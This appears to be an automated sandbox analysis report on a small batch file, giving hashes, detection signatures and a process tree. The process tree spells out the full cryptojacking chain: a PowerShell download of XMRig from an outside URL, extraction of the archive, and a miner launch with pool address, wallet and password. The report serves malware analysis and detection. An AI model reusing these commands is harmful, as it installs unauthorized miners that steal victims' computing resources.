Analysis

  • max time kernel
    1799s
  • max time network
    1804s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4848
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4144

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a322887e4312a2f3068465bf085a4b86

    SHA1

    69e841f88341c72c5e45770b0e5e4f14725ac7a4

    SHA256

    c0510bb55ba485406442ca3e9fa5f9abd35f51f880ed5a62310a7ae040b54238

    SHA512

    5afb339777a00a2d97109491bae4b88bffc07b09b7839bc9c1d9b7d1adab487b3de8181c310b6c20b830f2abe60b651f5075542b9095b06908f5ceb51663c56e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dpkkt1ne.ol3.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/408-4-0x0000028759D10000-0x0000028759D32000-memory.dmp

    Filesize

    136KB

  • memory/408-5-0x00007FFF227D0000-0x00007FFF231BC000-memory.dmp

    Filesize

    9.9MB

  • memory/408-7-0x0000028771F90000-0x0000028771FA0000-memory.dmp

    Filesize

    64KB

  • memory/408-8-0x0000028771F90000-0x0000028771FA0000-memory.dmp

    Filesize

    64KB

  • memory/408-10-0x0000028771EE0000-0x0000028771F56000-memory.dmp

    Filesize

    472KB

  • memory/408-25-0x0000028771F90000-0x0000028771FA0000-memory.dmp

    Filesize

    64KB

  • memory/408-30-0x00007FFF227D0000-0x00007FFF231BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4144-142-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-147-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-184-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-183-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-182-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-181-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-116-0x000001F8A64A0000-0x000001F8A64C0000-memory.dmp

    Filesize

    128KB

  • memory/4144-117-0x000001F8A64F0000-0x000001F8A6530000-memory.dmp

    Filesize

    256KB

  • memory/4144-118-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-119-0x000001F8A6530000-0x000001F8A6550000-memory.dmp

    Filesize

    128KB

  • memory/4144-120-0x000001F8A6550000-0x000001F8A6570000-memory.dmp

    Filesize

    128KB

  • memory/4144-121-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-122-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-123-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-124-0x000001F8A6530000-0x000001F8A6550000-memory.dmp

    Filesize

    128KB

  • memory/4144-125-0x000001F8A6550000-0x000001F8A6570000-memory.dmp

    Filesize

    128KB

  • memory/4144-126-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-127-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-128-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-129-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-130-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-131-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-132-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-133-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-134-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-135-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-136-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-137-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-138-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-139-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-140-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-141-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-180-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-143-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-144-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-145-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-146-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-179-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-148-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-149-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-150-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-151-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-152-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-153-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-154-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-155-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-156-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-157-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-158-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-159-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-160-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-161-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-162-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-163-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-164-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-165-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-166-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-167-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-168-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-169-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-170-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-171-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-172-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-173-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-174-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-175-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-176-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-177-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-178-0x00007FF77E650000-0x00007FF77F153000-memory.dmp

    Filesize

    11.0MB

  • memory/4848-37-0x000001BC81D50000-0x000001BC81D60000-memory.dmp

    Filesize

    64KB

  • memory/4848-35-0x00007FFF227D0000-0x00007FFF231BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4848-89-0x000001BC9A1A0000-0x000001BC9A1AA000-memory.dmp

    Filesize

    40KB

  • memory/4848-76-0x000001BC9A1C0000-0x000001BC9A1D2000-memory.dmp

    Filesize

    72KB

  • memory/4848-62-0x000001BC81D50000-0x000001BC81D60000-memory.dmp

    Filesize

    64KB

  • memory/4848-38-0x000001BC81D50000-0x000001BC81D60000-memory.dmp

    Filesize

    64KB

  • memory/4848-113-0x00007FFF227D0000-0x00007FFF231BC000-memory.dmp

    Filesize

    9.9MB